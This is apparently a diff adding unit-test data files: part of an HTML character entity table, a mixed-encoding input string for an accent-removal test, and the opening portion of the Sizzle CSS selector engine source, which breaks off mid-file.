+iota	| 953	### greek small letter iota,  u+03B9 ISOgrk3 
+kappa	| 954	### greek small letter kappa,  u+03BA ISOgrk3 
+lambda	| 955	### greek small letter lambda,  u+03BB ISOgrk3 
+mu	    | 956	### greek small letter mu,  u+03BC ISOgrk3 
+nu	    | 957	### greek small letter nu,  u+03BD ISOgrk3 
+xi	    | 958	### greek small letter xi,  u+03BE ISOgrk3 
+omicron	| 959	### greek small letter omicron,  u+03BF NEW 
+pi	    | 960	### greek small letter pi,  u+03C0 ISOgrk3 
+rho	    | 961	### greek small letter rho,  u+03C1 ISOgrk3 
+sigmaf	| 962	### greek small letter final sigma,  u+03C2 ISOgrk3 
+sigma	| 963	### greek small letter sigma,  u+03C3 ISOgrk3 
+tau	    | 964	### greek small letter tau,  u+03C4 ISOgrk3 
+upsilon	| 965	### greek small letter upsilon,  u+03C5 ISOgrk3 
+phi	    | 966	### greek small letter phi,  u+03C6 ISOgrk3 
+chi	    | 967	### greek small letter chi,  u+03C7 ISOgrk3 
+psi	    | 968	### greek small letter psi,  u+03C8 ISOgrk3 
+omega	| 969	### greek small letter omega,  u+03C9 ISOgrk3 
+thetasym| 977	### greek small letter theta symbol,  u+03D1 NEW 
+upsih	| 978	### greek upsilon with hook symbol,  u+03D2 NEW 
+piv	    | 982	### greek pi symbol,  u+03D6 ISOgrk3 
+bull	| 8226	### bullet, =black small circle, u+2022 ISOpub  
+hellip	| 8230	### horizontal ellipsis, =three dot leader, u+2026 ISOpub  
+prime	| 8242	### prime, =minutes, =feet, u+2032 ISOtech 
+Prime	| 8243	### double prime, =seconds, =inches, u+2033 ISOtech 
+oline	| 8254	### overline, =spacing overscore, u+203E NEW 
+frasl	| 8260	### fraction slash, u+2044 NEW 
+weierp	| 8472	### script capital P, =power set, =Weierstrass p, u+2118 ISOamso 
+image	| 8465	### blackletter capital I, =imaginary part, u+2111 ISOamso 
+real	| 8476	### blackletter capital R, =real part symbol, u+211C ISOamso 
+trade	| 8482	### trade mark sign, u+2122 ISOnum 
+alefsym	| 8501	### alef symbol, =first transfinite cardinal, u+2135 NEW 
+larr	| 8592	### leftwards arrow, u+2190 ISOnum 
+uarr	| 8593	### upwards arrow, u+2191 ISOnum
+rarr	| 8594	### rightwards arrow, u+2192 ISOnum 
+darr	| 8595	### downwards arrow, u+2193 ISOnum 
+harr	| 8596	### left right arrow, u+2194 ISOamsa 
+crarr	| 8629	### downwards arrow with corner leftwards, =carriage return, u+21B5 NEW 
+lArr	| 8656	### leftwards double arrow, u+21D0 ISOtech 
+uArr	| 8657	### upwards double arrow, u+21D1 ISOamsa 
+rArr	| 8658	### rightwards double arrow, u+21D2 ISOtech 
+dArr	| 8659	### downwards double arrow, u+21D3 ISOamsa 
+hArr	| 8660	### left right double arrow, u+21D4 ISOamsa 
+forall	| 8704	### for all, u+2200 ISOtech 
+part	| 8706	### partial differential, u+2202 ISOtech  
+exist	| 8707	### there exists, u+2203 ISOtech 
+empty	| 8709	### empty set, =null set, =diameter, u+2205 ISOamso 
+nabla	| 8711	### nabla, =backward difference, u+2207 ISOtech 
+isin	| 8712	### element of, u+2208 ISOtech 
+notin	| 8713	### not an element of, u+2209 ISOtech 
+ni	    | 8715	### contains as member, u+220B ISOtech 
+prod	| 8719	### n-ary product, =product sign, u+220F ISOamsb 
+sum	    | 8721	### n-ary sumation, u+2211 ISOamsb 
+minus	| 8722	### minus sign, u+2212 ISOtech 
+lowast	| 8727	### asterisk operator, u+2217 ISOtech 
+radic	| 8730	### square root, =radical sign, u+221A ISOtech 
+prop	| 8733	### proportional to, u+221D ISOtech 
+infin	| 8734	### infinity, u+221E ISOtech 
+ang	    | 8736	### angle, u+2220 ISOamso 
+and	    | 8743	### logical and, =wedge, u+2227 ISOtech 
+or	    | 8744	### logical or, =vee, u+2228 ISOtech 
+cap	    | 8745	### intersection, =cap, u+2229 ISOtech 
+cup	    | 8746	### union, =cup, u+222A ISOtech 
+int	    | 8747	### integral, u+222B ISOtech 
+there4	| 8756	### therefore, u+2234 ISOtech 
+sim	    | 8764	### tilde operator, =varies with, =similar to, u+223C ISOtech 
+cong	| 8773	### approximately equal to, u+2245 ISOtech 
+asymp	| 8776	### almost equal to, =asymptotic to, u+2248 ISOamsr 
+ne	    | 8800	### not equal to, u+2260 ISOtech 
+equiv	| 8801	### identical to, u+2261 ISOtech 
+le	    | 8804	### less-than or equal to, u+2264 ISOtech 
+ge	    | 8805	### greater-than or equal to, u+2265 ISOtech 
+sub	    | 8834	### subset of, u+2282 ISOtech 
+sup	    | 8835	### superset of, u+2283 ISOtech 
+nsub	| 8836	### not a subset of, u+2284 ISOamsn 
+sube	| 8838	### subset of or equal to, u+2286 ISOtech 
+supe	| 8839	### superset of or equal to, u+2287 ISOtech 
+oplus	| 8853	### circled plus, =direct sum, u+2295 ISOamsb 
+otimes	| 8855	### circled times, =vector product, u+2297 ISOamsb 
+perp	| 8869	### up tack, =orthogonal to, =perpendicular, u+22A5 ISOtech 
+sdot	| 8901	### dot operator, u+22C5 ISOamsb 
+lceil	| 8968	### left ceiling, =apl upstile, u+2308, ISOamsc  
+rceil	| 8969	### right ceiling, u+2309, ISOamsc  
+lfloor	| 8970	### left floor, =apl downstile, u+230A, ISOamsc  
+rfloor	| 8971	### right floor, u+230B, ISOamsc  
+lang	| 9001	### left-pointing angle bracket, =bra, u+2329 ISOtech 
+rang	| 9002	### right-pointing angle bracket, =ket, u+232A ISOtech 
+loz	    | 9674	### lozenge, u+25CA ISOpub 
+spades	| 9824	### black spade suit, u+2660 ISOpub 
+clubs	| 9827	### black club suit, =shamrock, u+2663 ISOpub 
+hearts	| 9829	### black heart suit, =valentine, u+2665 ISOpub 
+diams	| 9830	### black diamond suit, u+2666 ISOpub 
+quot	| 34	### quotation mark, =apl quote, u+0022 ISOnum 
+amp	    | 38	### ampersand, u+0026 ISOnum 
+lt	    | 60	### less-than sign, u+003C ISOnum 
+gt	    | 62	### greater-than sign, u+003E ISOnum 
+OElig	| 338	### latin capital ligature oe, u+0152 ISOlat2 
+oelig	| 339	### latin small ligature oe, u+0153 ISOlat2 
+Scaron	| 352	### latin capital letter s with caron, u+0160 ISOlat2 
+scaron	| 353	### latin small letter s with caron, u+0161 ISOlat2 
+Yuml	| 376	### latin capital letter y with diaeresis, u+0178 ISOlat2 
+circ	| 710	### modifier letter circumflex accent, u+02C6 ISOpub 
+tilde	| 732	### small tilde, u+02DC ISOdia 
+ensp	| 8194	### en space, u+2002 ISOpub 
+emsp	| 8195	### em space, u+2003 ISOpub 
+thinsp	| 8201	### thin space, u+2009 ISOpub 
+zwnj	| 8204	### zero width non-joiner, u+200C NEW RFC 2070 
+zwj	    | 8205	### zero width joiner, u+200D NEW RFC 2070 
+lrm	    | 8206	### left-to-right mark, u+200E NEW RFC 2070 
+rlm	    | 8207	### right-to-left mark, u+200F NEW RFC 2070 
+ndash	| 8211	### en dash, u+2013 ISOpub 
+mdash	| 8212	### em dash, u+2014 ISOpub 
+lsquo	| 8216	### left single quotation mark, u+2018 ISOnum 
+rsquo	| 8217	### right single quotation mark, u+2019 ISOnum 
+sbquo	| 8218	### single low-9 quotation mark, u+201A NEW 
+ldquo	| 8220	### left double quotation mark, u+201C ISOnum 
+rdquo	| 8221	### right double quotation mark, u+201D ISOnum 
+bdquo	| 8222	### double low-9 quotation mark, u+201E NEW 
+dagger	| 8224	### dagger, u+2020 ISOpub 
+Dagger	| 8225	### double dagger, u+2021 ISOpub 
+permil	| 8240	### per mille sign, u+2030 ISOtech 
+lsaquo	| 8249	### single left-pointing angle quotation mark; proposed but not yet standardised
+rsaquo	| 8250	### single right-pointing angle quotation mark; proposed but not yet standardised

+ 1 - 0
tests/phpunit/data/formatting/remove_accents.01.input.txt

@@ -0,0 +1 @@
+๏ฟฝ๊น๋Ÿป์˜ยด๋›์ขŒ์ณํƒญํ›”ๅขพๅ‹ๅฆๅ–ซๆˆ‡ๅ€†ๅฆน่†Š่ฆ†่คปๆ ’้ดจ้ ้š…่†บ๏งบ็ฒพ่†ฃ้€ฎๆ™ซๆฒ†ๆจบ๏ฟฝ๋™—ํŒจๆณ—็†ฑ๏ฟฝ

+ 1445 - 0
tests/phpunit/data/formatting/sizzle.js

@@ -0,0 +1,1445 @@
+/*!
+ * Sizzle CSS Selector Engine
+ *  Copyright 2011, The Dojo Foundation
+ *  Released under the MIT, BSD, and GPL Licenses.
+ *  More information: http://sizzlejs.com/
+ */
+(function(){
+
+var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
+	expando = "sizcache" + (Math.random() + '').replace('.', ''),
+	done = 0,
+	toString = Object.prototype.toString,
+	hasDuplicate = false,
+	baseHasDuplicate = true,
+	rBackslash = /\\/g,
+	rReturn = /\r\n/g,
+	rNonWord = /\W/;
+
+// Here we check if the JavaScript engine is using some sort of
+// optimization where it does not always call our comparision
+// function. If that is the case, discard the hasDuplicate value.
+//   Thus far that includes Google Chrome.
+[0, 0].sort(function() {
+	baseHasDuplicate = false;
+	return 0;
+});
+
+var Sizzle = function( selector, context, results, seed ) {
+	results = results || [];
+	context = context || document;
+
+	var origContext = context;
+
+	if ( context.nodeType !== 1 && context.nodeType !== 9 ) {
+		return [];
+	}
+
+	if ( !selector || typeof selector !== "string" ) {
+		return results;
+	}
+
+	var m, set, checkSet, extra, ret, cur, pop, i,
+		prune = true,
+		contextXML = Sizzle.isXML( context ),
+		parts = [],
+		soFar = selector;
+
+	// Reset the position of the chunker regexp (start from head)
+	do {
+		chunker.exec( "" );
+		m = chunker.exec( soFar );
+
+		if ( m ) {
+			soFar = m[3];
+
+			parts.push( m[1] );
+
+			if ( m[2] ) {
+				extra = m[3];
+				break;
+			}
+		}
+	} while ( m );
+
+	if ( parts.length > 1 && origPOS.exec( selector ) ) {
+
+		if ( parts.length === 2 && Expr.relative[ parts[0] ] ) {
+			set = posProcess( parts[0] + parts[1], context, seed );
+
+		} else {
+			set = Expr.relative[ parts[0] ] ?
+				[ context ] :
+				Sizzle( parts.shift(), context );
+
+			while ( parts.length ) {
+				selector = parts.shift();
+
+				if ( Expr.relative[ selector ] ) {
+					selector += parts.shift();
+				}
+
+				set = posProcess( selector, set, seed );
+			}
+		}
+
+	} else {
+		// Take a shortcut and set the context if the root selector is an ID
+		// (but not if it'll be faster if the inner selector is an ID)
+		if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&
+				Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {
+
+			ret = Sizzle.find( parts.shift(), context, contextXML );
+			context = ret.expr ?
+				Sizzle.filter( ret.expr, ret.set )[0] :
+				ret.set[0];
+		}
+
+		if ( context ) {
+			ret = seed ?
+				{ expr: parts.pop(), set: makeArray(seed) } :
+				Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML );
+
+			set = ret.expr ?
+				Sizzle.filter( ret.expr, ret.set ) :
+				ret.set;
+
+			if ( parts.length > 0 ) {
+				checkSet = makeArray( set );
+
+			} else {
+				prune = false;
+			}
+
+			while ( parts.length ) {
+				cur = parts.pop();
+				pop = cur;
+
+				if ( !Expr.relative[ cur ] ) {
+					cur = "";
+				} else {
+					pop = parts.pop();
+				}
+
+				if ( pop == null ) {
+					pop = context;
+				}
+
+				Expr.relative[ cur ]( checkSet, pop, contextXML );
+			}
+
+		} else {
+			checkSet = parts = [];
+		}
+	}
+
+	if ( !checkSet ) {
+		checkSet = set;
+	}
+
+	if ( !checkSet ) {
+		Sizzle.error( cur || selector );
+	}
+
+	if ( toString.call(checkSet) === "[object Array]" ) {
+		if ( !prune ) {
+			results.push.apply( results, checkSet );
+
+		} else if ( context && context.nodeType === 1 ) {
+			for ( i = 0; checkSet[i] != null; i++ ) {
+				if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) {
+					results.push( set[i] );
+				}
+			}
+
+		} else {
+			for ( i = 0; checkSet[i] != null; i++ ) {
+				if ( checkSet[i] && checkSet[i].nodeType === 1 ) {
+					results.push( set[i] );
+				}
+			}
+		}
+
+	} else {
+		makeArray( checkSet, results );
+	}
+
+	if ( extra ) {
+		Sizzle( extra, origContext, results, seed );
+		Sizzle.uniqueSort( results );
+	}
+
+	return results;
+};
+
+Sizzle.uniqueSort = function( results ) {
+	if ( sortOrder ) {
+		hasDuplicate = baseHasDuplicate;
+		results.sort( sortOrder );
+
+		if ( hasDuplicate ) {
+			for ( var i = 1; i < results.length; i++ ) {
+				if ( results[i] === results[ i - 1 ] ) {
+					results.splice( i--, 1 );
+				}
+			}
+		}
+	}
+
+	return results;
+};
+
+Sizzle.matches = function( expr, set ) {
+	return Sizzle( expr, null, null, set );
+};
+
+Sizzle.matchesSelector = function( node, expr ) {
+	return Sizzle( expr, null, null, [node] ).length > 0;
+};
+
+Sizzle.find = function( expr, context, isXML ) {
+	var set, i, len, match, type, left;
+
+	if ( !expr ) {
+		return [];
+	}
+
+	for ( i = 0, len = Expr.order.length; i < len; i++ ) {
+		type = Expr.order[i];
+
+		if ( (match = Expr.leftMatch[ type ].exec( expr )) ) {
+			left = match[1];
+			match.splice( 1, 1 );
+
+			if ( left.substr( left.length - 1 ) !== "\\" ) {
+				match[1] = (match[1] || "").replace( rBackslash, "" );
+				set = Expr.find[ type ]( match, context, isXML );
+
+				if ( set != null ) {
+					expr = expr.replace( Expr.match[ type ], "" );
+					break;
+				}
+			}
+		}
+	}
+
+	if ( !set ) {
+		set = typeof context.getElementsByTagName !== "undefined" ?
+			context.getElementsByTagName( "*" ) :
+			[];
+	}
+
+	return { set: set, expr: expr };
+};
+
+Sizzle.filter = function( expr, set, inplace, not ) {
+	var match, anyFound,
+		type, found, item, filter, left,
+		i, pass,
+		old = expr,
+		result = [],
+		curLoop = set,
+		isXMLFilter = set && set[0] && Sizzle.isXML( set[0] );
+
+	while ( expr && set.length ) {
+		for ( type in Expr.filter ) {
+			if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {
+				filter = Expr.filter[ type ];
+				left = match[1];
+
+				anyFound = false;
+
+				match.splice(1,1);
+
+				if ( left.substr( left.length - 1 ) === "\\" ) {
+					continue;
+				}
+
+				if ( curLoop === result ) {
+					result = [];
+				}
+
+				if ( Expr.preFilter[ type ] ) {
+					match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );
+
+					if ( !match ) {
+						anyFound = found = true;
+
+					} else if ( match === true ) {
+						continue;
+					}
+				}
+
+				if ( match ) {
+					for ( i = 0; (item = curLoop[i]) != null; i++ ) {
+						if ( item ) {
+							found = filter( item, match, i, curLoop );
+							pass = not ^ found;
+
+							if ( inplace && found != null ) {
+								if ( pass ) {
+									anyFound = true;
+
+								} else {
+									curLoop[i] = false;
+								}
+
+							} else if ( pass ) {
+								result.push( item );
+								anyFound = true;
+							}
+						}
+					}
+				}
+
+				if ( found !== undefined ) {
+					if ( !inplace ) {
+						curLoop = result;
+					}
+
+					expr = expr.replace( Expr.match[ type ], "" );
+
+					if ( !anyFound ) {
+						return [];
+					}
+
+					break;
+				}
+			}
+		}
+
+		// Improper expression
+		if ( expr === old ) {
+			if ( anyFound == null ) {
+				Sizzle.error( expr );
+
+			} else {
+				break;
+			}
+		}
+
+		old = expr;
+	}
+
+	return curLoop;
+};
+
+Sizzle.error = function( msg ) {
+	throw new Error( "Syntax error, unrecognized expression: " + msg );
+};
+
+/**
+ * Utility function for retreiving the text value of an array of DOM nodes
+ * @param {Array|Element} elem
+ */
+var getText = Sizzle.getText = function( elem ) {
+    var i, node,
+		nodeType = elem.nodeType,
+		ret = "";
+
+	if ( nodeType ) {
+		if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
+			// Use textContent || innerText for elements
+			if ( typeof elem.textContent === 'string' ) {
+				return elem.textContent;
+			} else if ( typeof elem.innerText === 'string' ) {
+				// Replace IE's carriage returns
+				return elem.innerText.replace( rReturn, '' );
+			} else {
+				// Traverse it's children
+				for ( elem = elem.firstChild; elem; elem = elem.nextSibling) {
+					ret += getText( elem );
+				}
+			}
+		} else if ( nodeType === 3 || nodeType === 4 ) {
+			return elem.nodeValue;
+		}
+	} else {
+
+		// If no nodeType, this is expected to be an array
+		for ( i = 0; (node = elem[i]); i++ ) {
+			// Do not traverse comment nodes
+			if ( node.nodeType !== 8 ) {
+				ret += getText( node );
+			}
+		}
+	}
+	return ret;
+};
+
+var Expr = Sizzle.selectors = {
+	order: [ "ID", "NAME", "TAG" ],
+
+	match: {
+		ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
+		CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
+		NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
+		ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
+		TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
+		CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
+		POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
+		PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
+	},
+
+	leftMatch: {},
+
+	attrMap: {
+		"class": "className",
+		"for": "htmlFor"
+	},
+
+	attrHandle: {
+		href: function( elem ) {
+			return elem.getAttribute( "href" );
+		},
+		type: function( elem ) {
+			return elem.getAttribute( "type" );
+		}
+	},
+
+	relative: {
+		"+": function(checkSet, part){
+			var isPartStr = typeof part === "string",
+				isTag = isPartStr && !rNonWord.test( part ),
+				isPartStrNotTag = isPartStr && !isTag;
+
+			if ( isTag ) {
+				part = part.toLowerCase();
+			}
+
+			for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {
+				if ( (elem = checkSet[i]) ) {
+					while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}
+
+					checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?
+						elem || false :
+						elem === part;
+				}
+			}
+
+			if ( isPartStrNotTag ) {
+				Sizzle.filter( part, checkSet, true );
+			}
+		},
+
+		">": function( checkSet, part ) {
+			var elem,
+				isPartStr = typeof part === "string",
+				i = 0,
+				l = checkSet.length;
+
+			if ( isPartStr && !rNonWord.test( part ) ) {
+				part = part.toLowerCase();
+
+				for ( ; i < l; i++ ) {
+					elem = checkSet[i];
+
+					if ( elem ) {
+						var parent = elem.parentNode;
+						checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;
+					}
+				}
+
+			} else {
+				for ( ; i < l; i++ ) {
+					elem = checkSet[i];
+
+					if ( elem ) {
+						checkSet[i] = isPartStr ?
+							elem.parentNode :
+							elem.parentNode === part;
+					}
+				}
+
+				if ( isPartStr ) {
+					Sizzle.filter( part, checkSet, true );
+				}
+			}
+		},
+
+		"": function(checkSet, part, isXML){
+			var nodeCheck,
+				doneName = done++,
+				checkFn = dirCheck;
+
+			if ( typeof part === "string" && !rNonWord.test( part ) ) {
+				part = part.toLowerCase();
+				nodeCheck = part;
+				checkFn = dirNodeCheck;
+			}
+
+			checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML );
+		},
+
+		"~": function( checkSet, part, isXML ) {
+			var nodeCheck,
+				doneName = done++,
+				checkFn = dirCheck;
+
+			if ( typeof part === "string" && !rNonWord.test( part ) ) {
+				part = part.toLowerCase();
+				nodeCheck = part;
+				checkFn = dirNodeCheck;
+			}
+
+			checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML );
+		}
+	},
+
+	find: {
+		ID: function( match, context, isXML ) {
+			if ( typeof context.getElementById !== "undefined" && !isXML ) {
+				var m = context.getElementById(match[1]);
+				// Check parentNode to catch when Blackberry 4.6 returns
+				// nodes that are no longer in the document #6963
+				return m && m.parentNode ? [m] : [];
+			}
+		},
+
+		NAME: function( match, context ) {
+			if ( typeof context.getElementsByName !== "undefined" ) {
+				var ret = [],
+					results = context.getElementsByName( match[1] );
+
+				for ( var i = 0, l = results.length; i < l; i++ ) {
+					if ( results[i].getAttribute("name") === match[1] ) {
+						ret.push( results[i] );
+					}
+				}
+
+				return ret.length === 0 ? null : ret;
+			}
+		},
+
+		TAG: function( match, context ) {
+			if ( typeof context.getElementsByTagName !== "undefined" ) {
+				return context.getElementsByTagName( match[1] );
+			}
+		}
+	},
+	preFilter: {
+		CLASS: function( match, curLoop, inplace, result, not, isXML ) {
+			match = " " + match[1].replace( rBackslash, "" ) + " ";
+
+			if ( isXML ) {
+				return match;
+			}
+
+			for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {
+				if ( elem ) {
+					if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) {
+						if ( !inplace ) {
+							result.push( elem );
+						}
+
+					} else if ( inplace ) {
+						curLoop[i] = false;
+					}
+				}
+			}
+
+			return false;
+		},
+
+		ID: function( match ) {
+			return match[1].replace( rBackslash, "" );
+		},
+
+		TAG: function( match, curLoop ) {
+			return match[1].replace( rBackslash, "" ).toLowerCase();
+		},
+
+		CHILD: function( match ) {
+			if ( match[1] === "nth" ) {
+				if ( !match[2] ) {
+					Sizzle.error( match[0] );
+				}
+
+				match[2] = match[2].replace(/^\+|\s*/g, '');
+
+				// parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'
+				var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(
+					match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" ||
+					!/\D/.test( match[2] ) && "0n+" + match[2] || match[2]);
+
+				// calculate the numbers (first)n+(last) including if they are negative
+				match[2] = (test[1] + (test[2] || 1)) - 0;
+				match[3] = test[3] - 0;
+			}
+			else if ( match[2] ) {
+				Sizzle.error( match[0] );
+			}
+
+			// TODO: Move to normal caching system
+			match[0] = done++;
+
+			return match;
+		},
+
+		ATTR: function( match, curLoop, inplace, result, not, isXML ) {
+			var name = match[1] = match[1].replace( rBackslash, "" );
+
+			if ( !isXML && Expr.attrMap[name] ) {
+				match[1] = Expr.attrMap[name];
+			}
+
+			// Handle if an un-quoted value was used
+			match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" );
+
+			if ( match[2] === "~=" ) {
+				match[4] = " " + match[4] + " ";
+			}
+
+			return match;
+		},
+
+		PSEUDO: function( match, curLoop, inplace, result, not ) {
+			if ( match[1] === "not" ) {
+				// If we're dealing with a complex expression, or a simple one
+				if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) {
+					match[3] = Sizzle(match[3], null, null, curLoop);
+
+				} else {
+					var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
+
+					if ( !inplace ) {
+						result.push.apply( result, ret );
+					}
+
+					return false;
+				}
+
+			} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {
+				return true;
+			}
+
+			return match;
+		},
+
+		POS: function( match ) {
+			match.unshift( true );
+
+			return match;
+		}
+	},
+
+	filters: {
+		enabled: function( elem ) {
+			return elem.disabled === false && elem.type !== "hidden";
+		},
+
+		disabled: function( elem ) {
+			return elem.disabled === true;
+		},
+
+		checked: function( elem ) {
+			return elem.checked === true;
+		},
+
+		selected: function( elem ) {
+			// Accessing this property makes selected-by-default
+			// options in Safari work properly
+			if ( elem.parentNode ) {
+				elem.parentNode.selectedIndex;
+			}
+
+			return elem.selected === true;
+		},
+
+		parent: function( elem ) {
+			return !!elem.firstChild;
+		},
+
+		empty: function( elem ) {
+			return !elem.firstChild;
+		},
+
+		has: function( elem, i, match ) {
+			return !!Sizzle( match[3], elem ).length;
+		},
+
+		header: function( elem ) {
+			return (/h\d/i).test( elem.nodeName );
+		},
+
+		text: function( elem ) {
+			var attr = elem.getAttribute( "type" ), type = elem.type;
+			// IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
+			// use getAttribute instead to test this case
+			return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null );
+		},
+
+		radio: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type;
+		},
+
+		checkbox: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type;
+		},
+
+		file: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "file" === elem.type;
+		},
+
+		password: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "password" === elem.type;
+		},
+
+		submit: function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return (name === "input" || name === "button") && "submit" === elem.type;
+		},
+
+		image: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "image" === elem.type;
+		},
+
+		reset: function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return (name === "input" || name === "button") && "reset" === elem.type;
+		},
+
+		button: function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return name === "input" && "button" === elem.type || name === "button";
+		},
+
+		input: function( elem ) {
+			return (/input|select|textarea|button/i).test( elem.nodeName );
+		},
+
+		focus: function( elem ) {
+			return elem === elem.ownerDocument.activeElement;
+		}
+	},
+	setFilters: {
+		first: function( elem, i ) {
+			return i === 0;
+		},
+
+		last: function( elem, i, match, array ) {
+			return i === array.length - 1;
+		},
+
+		even: function( elem, i ) {
+			return i % 2 === 0;
+		},
+
+		odd: function( elem, i ) {
+			return i % 2 === 1;
+		},
+
+		lt: function( elem, i, match ) {
+			return i < match[3] - 0;
+		},
+
+		gt: function( elem, i, match ) {
+			return i > match[3] - 0;
+		},
+
+		nth: function( elem, i, match ) {
+			return match[3] - 0 === i;
+		},
+
+		eq: function( elem, i, match ) {
+			return match[3] - 0 === i;
+		}
+	},
+	filter: {
+		PSEUDO: function( elem, match, i, array ) {
+			var name = match[1],
+				filter = Expr.filters[ name ];
+
+			if ( filter ) {
+				return filter( elem, i, match, array );
+
+			} else if ( name === "contains" ) {
+				return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0;
+
+			} else if ( name === "not" ) {
+				var not = match[3];
+
+				for ( var j = 0, l = not.length; j < l; j++ ) {
+					if ( not[j] === elem ) {
+						return false;
+					}
+				}
+
+				return true;
+
+			} else {
+				Sizzle.error( name );
+			}
+		},
+
+		CHILD: function( elem, match ) {
+			var first, last,
+				doneName, parent, cache,
+				count, diff,
+				type = match[1],
+				node = elem;
+
+			switch ( type ) {
+				case "only":
+				case "first":
+					while ( (node = node.previousSibling) ) {
+						if ( node.nodeType === 1 ) {
+							return false;
+						}
+					}
+
+					if ( type === "first" ) {
+						return true;
+					}
+
+					node = elem;
+
+					/* falls through */
+				case "last":
+					while ( (node = node.nextSibling) ) {
+						if ( node.nodeType === 1 ) {
+							return false;
+						}
+					}
+
+					return true;
+
+				case "nth":
+					first = match[2];
+					last = match[3];
+
+					if ( first === 1 && last === 0 ) {
+						return true;
+					}
+
+					doneName = match[0];
+					parent = elem.parentNode;
+
+					if ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) {
+						count = 0;
+
+						for ( node = parent.firstChild; node; node = node.nextSibling ) {
+							if ( node.nodeType === 1 ) {
+								node.nodeIndex = ++count;
+							}
+						}
+
+						parent[ expando ] = doneName;
+					}
+
+					diff = elem.nodeIndex - last;
+
+					if ( first === 0 ) {
+						return diff === 0;
+
+					} else {
+						return ( diff % first === 0 && diff / first >= 0 );
+					}
+			}
+		},
+
+		ID: function( elem, match ) {
+			return elem.nodeType === 1 && elem.getAttribute("id") === match;
+		},
+
+		TAG: function( elem, match ) {
+			return (match === "*" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match;
+		},
+
+		CLASS: function( elem, match ) {
+			return (" " + (elem.className || elem.getAttribute("class")) + " ")
+				.indexOf( match ) > -1;
+		},
+
+		ATTR: function( elem, match ) {
+			var name = match[1],
+				result = Sizzle.attr ?
+					Sizzle.attr( elem, name ) :
+					Expr.attrHandle[ name ] ?
+					Expr.attrHandle[ name ]( elem ) :
+					elem[ name ] != null ?
+						elem[ name ] :
+						elem.getAttribute( name ),
+				value = result + "",
+				type = match[2],
+				check = match[4];
+
+			return result == null ?
+				type === "!=" :
+				!type && Sizzle.attr ?
+				result != null :
+				type === "=" ?
+				value === check :
+				type === "*=" ?
+				value.indexOf(check) >= 0 :
+				type === "~=" ?
+				(" " + value + " ").indexOf(check) >= 0 :
+				!check ?
+				value && result !== false :
+				type === "!=" ?
+				value !== check :
+				type === "^=" ?
+				value.indexOf(check) === 0 :
+				type === "$=" ?
+				value.substr(value.length - check.length) === check :
+				type === "|=" ?
+				value === check || value.substr(0, check.length + 1) === check + "-" :
+				false;
+		},
+
+		POS: function( elem, match, i, array ) {
+			var name = match[2],
+				filter = Expr.setFilters[ name ];
+
+			if ( filter ) {
+				return filter( elem, i, match, array );
+			}
+		}
+	}
+};
+
+var origPOS = Expr.match.POS,
+	fescape = function(all, num){
+		return "\\" + (num - 0 + 1);
+	};
+
+for ( var type in Expr.match ) {
+	Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) );
